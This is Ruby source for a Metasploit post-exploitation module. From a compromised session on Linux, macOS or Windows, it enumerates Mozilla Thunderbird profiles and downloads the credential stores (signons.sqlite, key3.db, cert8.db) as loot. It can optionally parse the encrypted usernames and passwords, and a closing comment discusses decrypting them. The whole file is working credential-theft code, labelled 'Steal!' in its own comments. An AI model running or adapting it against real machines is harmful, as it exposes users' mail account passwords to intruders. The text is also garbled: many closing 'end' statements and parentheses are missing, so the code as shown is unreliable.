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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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  include Msf::Post::File
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  include Msf::Post::Windows::UserProfiles
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Multi Gather Mozilla Thunderbird Signon Credential Collection',
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        'Description' => %q{
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          This module will collect credentials from Mozilla Thunderbird by downloading
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          the necessary files such as 'signons.sqlite', 'key3.db', and 'cert8.db' for
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          offline decryption with third party tools.
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          If necessary, you may also set the PARSE option to true to parse the sqlite
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          file, which contains sensitive information such as the encrypted username/password.
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          However, this feature is not enabled by default, because it requires SQLITE3 gem
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          to be installed on your machine.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'sinn3r', # Metasploit
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        ],
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        'Platform' => %w[linux osx win],
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        'SessionTypes' => ['meterpreter', 'shell'],
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        'Compat' => {
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          'Meterpreter' => {
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            'Commands' => %w[
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              core_channel_eof
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              core_channel_open
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              core_channel_read
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              core_channel_write
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              stdapi_sys_config_getenv
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            ]
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          }
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        }
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      )
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    )
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    register_options(
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      [
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        OptBool.new('PARSE', [false, 'Use SQLite3 to parse the database', false])
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      ]
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    )
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  end
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  def run
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    # Initialize Thunderbird's base path based on the platform
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    case session.platform
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    when 'linux'
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      user = session.shell_command('whoami').chomp
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      base = "/home/#{user}/.thunderbird/"
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    when 'osx'
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      user = session.shell_command('whoami').chomp
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      base = "/Users/#{user}/Library/Thunderbird/Profiles/"
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    when 'windows'
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      if session.type == 'meterpreter'
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        user_profile = session.sys.config.getenv('APPDATA')
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      else
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        user_profile = cmd_exec('echo %APPDATA%').strip
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      end
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      base = user_profile + '\\Thunderbird\\Profiles\\'
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    end
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    # Now we have the path for Thunderbird, we still need to enumerate its
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    # random profile names.
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    print_status("Looking for profiles in #{base}...")
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    profiles = get_profile_names(base)
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    # Steal!
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    profiles.each do |profile|
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      next if profile =~ /^\./
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      slash = (session.platform == 'windows') ? '\\' : '/'
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      p = base + profile + slash
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      # Download the database, and attempt to process the content
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      download_loot(p)
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    end
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  end
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  # Download signons.sqlite and key3.db.
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  # The routine will attempt to parse the sqlite db if the PARSE option is true,
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  # and that SQLite3 is installed on the user's box.
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  def download_loot(p)
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    # These are the files we wanna grab for the directory for future decryption
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    files = ['signons.sqlite', 'key3.db', 'cert8.db']
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    files.each do |item|
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      loot = ''
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      # Downaload the file
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      if session.type == 'meterpreter'
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        vprint_status("Downloading: #{p + item}")
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        begin
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          f = session.fs.file.new(p + item, 'rb')
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          loot << f.read until f.eof?
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        rescue ::Exception => e
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        ensure
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          f.close
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        end
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      elsif session.type == 'shell'
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        cmd_show = (session.platform == 'windows') ? 'type' : 'cat'
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        # The type command will add a 0x0a character in the file?  Pff.
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        # Gotta lstrip that.
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        loot = cmd_exec(cmd_show, "\"#{p + item}\"").lstrip
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        next if loot =~ /system cannot find the file specified|No such file/
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      end
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      ext = ::File.extname(item)
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      ext = ext[1, ext.length]
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      path = store_loot(
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        "tb.#{item}",
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        "binary/#{ext}",
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        session,
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        "thunderbird_raw_#{item}",
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        "Thunderbird Raw File #{item}"
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      # Parse signons.sqlite
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      next unless item =~ (/signons\.sqlite/) && datastore['PARSE']
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      print_status('Parsing signons.sqlite...')
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      data_tbl = parse(path)
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      if data_tbl.nil? || data_tbl.rows.empty?
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        print_status('No data parsed')
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        path = store_loot(
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          "tb.parsed.#{item}",
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          'text/plain',
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          session,
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          data_tbl.to_csv,
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          "thunderbird_parsed_#{item}",
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          "Thunderbird Parsed File #{item}"
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        print_status("Parsed signons.sqlite saved in: #{path}")
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      end
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  end
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  # Parse the sqlite database.
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  # This thing requires sqlite3 gem, so we don't really recommend it.
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  # The best way is to use railgun, but as of now we don't support that.
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  # Can't just LoadLibrary("sqlite3.dll") or LoadLibrary("mozsqlite3.dll")
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  def parse(file)
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    begin
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      require 'sqlite3'
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      print_error("Sorry, SQLite3 not available. We'll have to skip the parser.")
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    db = SQLite3::Database.new(file)
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    begin
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      columns, *rows = db.execute('select * from moz_logins')
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      print_error("doh! #{e}")
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      return nil
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    ensure
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    # Create a rex table to store our data
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    tbl = Rex::Text::Table.new(
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      'Header' => 'Thunderbird login data',
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      'Indent' => 1,
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      'Columns' =>
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          'hostname',
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          'httpRealm',
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          'formSubmitURL',
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          'usernameField',
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          'passwordField',
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          'encryptedUsername',
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          'encryptedPassword',
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          'guid'
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    rows.each do |row|
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      tbl << [
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        row[1],  # hostname
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        row[2],  # httpRealm
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        row[3],  # formSubmitURL (could be nil)
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        row[4],  # usernameField
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        row[5],  # passwordField
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        row[6],  # encryptedUsername
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        row[7],  # encryptedPassword
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        row[8]   # guid
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  # Return the profile names based on a base path.
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  # The format for the random profile name goes like: [random].default
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  def get_profile_names(path)
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      session.fs.dir.foreach(path) do |subdir|
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        tb_profiles << subdir
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      cmd = (session.platform == 'windows') ? "dir \"#{path}\"" : "ls -ld #{path}*/"
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      dir = cmd_exec(cmd)
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      dir.each_line do |line|
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        line = line.strip
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        next if session.platform == 'windows' && line !~ /<DIR>((.+)\.(\w+)$)/
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        next if (session.platform == 'linux' || session.platform == 'osx') && line !~ /(\w+\.\w+)/
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end
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=begin
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If you're really curious about Mozilla's encryption/descryption API, download this:
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ftp://ftp.mozilla.org/pub/mozilla.org/thunderbird/releases/8.0/source/
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And then read the following files:
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mozilla/security/manager/ssl/src/nsSDR.cpp
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mozilla/security/nss/lib/pk11wrap/pk11sdr.c
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Using a 3rd party decryptor is easier because Mozilla uses 2 different databases
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(SQLite and Berkeley DB) to store the crypto information.  This makes proper decryption
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implementation kind of uneasy, because railgun currently doesn't support SQLite3 and
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BDB (require special handling -- it's not like you can do LoadLibrary('mozsqlite3.dll')
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to load the lib).  Not to mention you need to borrow several more Mozilla components to
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do the decryption.  BDB gem unfortunately is kind of busted during my testing, so I guess
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we can pretty much forget about doing the decryption locally... chances are a lot of
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users would have problems just to get that setup going anyway.
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